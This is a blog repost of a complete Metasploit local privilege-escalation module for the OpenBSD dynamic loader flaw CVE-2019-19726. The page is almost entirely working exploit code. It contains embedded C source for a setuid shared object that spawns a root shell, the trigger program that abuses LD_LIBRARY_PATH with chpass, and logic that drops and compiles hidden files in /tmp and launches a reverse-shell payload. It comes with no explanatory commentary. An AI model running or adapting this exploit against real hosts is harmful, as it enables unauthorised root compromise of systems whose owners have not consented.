Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86369039

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in the OpenBSD `ld.so`
        dynamic loader (CVE-2019-19726).

        The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
        environment variable when set with approximately `ARG_MAX` colons.

        This can be abused to load `libutil.so` from an untrusted path,
        using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
        executable, resulting in privileged code execution.

        This module has been tested successfully on:

        OpenBSD 6.1 (amd64); and
        OpenBSD 6.6 (amd64)
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Qualys', # Discovery and exploit
          'bcoles'  # Metasploit
        ],
      'DisclosureDate' => '2019-12-11',
      'Platform'       => %w[bsd unix], # OpenBSD
      'Arch'           => [ARCH_CMD],
      'SessionTypes'   => ['shell'],
      'References'     =>
        [
          ['CVE', '2019-19726'],
          ['EDB', '47780'],
          ['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
          ['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
          ['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
          ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
          ['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
        ],
      'Targets'        => [['Automatic', {}]],
      'DefaultOptions' =>
        {
          'PAYLOAD'    => 'cmd/unix/reverse',
          'WfsDelay'   => 10
        },
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def chpass_path
    datastore['CHPASS_PATH']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def is_root?
    (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
  end

  def libutil_name
    return unless command_exists? 'readelf'
    cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first
  end

  def check
    patches = cmd_exec('syspatch -l').to_s
    patch = '013_ldso'
    if patches.include? patch
      vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
      return CheckCode::Safe
    end
    vprint_good "Patch #{patch} is not present"

    unless command_exists? 'cc'
      vprint_error 'cc is not installed'
      return CheckCode::Safe
    end
    print_good 'cc is installed'

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
    lib_data = <<-EOF
#include <paths.h>
#include <unistd.h>

static void __attribute__ ((constructor)) _init (void) {
    if (setuid(0) != 0) _exit(__LINE__);
    if (setgid(0) != 0) _exit(__LINE__);
    char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
    execve(argv[0], argv, NULL);
    _exit(__LINE__);
}
EOF

    libs = []
    lib = libutil_name
    if lib
      libs << lib
      print_good "Found libutil.so name: #{lib}"
    else
      libs << 'libutil.so.12.1'
      libs << 'libutil.so.13.1'
      print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
    end

    lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
    upload lib_src_path, lib_data
    libs.each do |lib_name|
      lib_path = "#{base_dir}/#{lib_name}"
      print_status "Compiling #{lib_path} ..."
      output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
      register_file_for_cleanup lib_path

      unless output.blank?
        print_error output
        fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
      end
    end

    # Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
    exploit_data = <<-EOF
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>

int
main(int argc, char * const * argv)
{
    #define LLP "LD_LIBRARY_PATH=."
    static char llp[ARG_MAX - 128];
    memset(llp, ':', sizeof(llp)-1);
    memcpy(llp, LLP, sizeof(LLP)-1);
    char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };

    #define DATA (ARG_MAX * sizeof(char *))
    const struct rlimit data = { DATA, DATA };
    if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);

    if (argc <= 1) _exit(__LINE__);
    argv += 1;
    execve(argv[0], argv, envp);
    _exit(__LINE__);
}
EOF

    exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload "#{exploit_path}.c", exploit_data
    print_status "Compiling #{exploit_path} ..."
    output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
    register_file_for_cleanup exploit_path

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
    end

    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
    chmod payload_path

    print_status 'Launching exploit...'
    output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
    output.each_line { |line| vprint_status line.chomp }
  end
end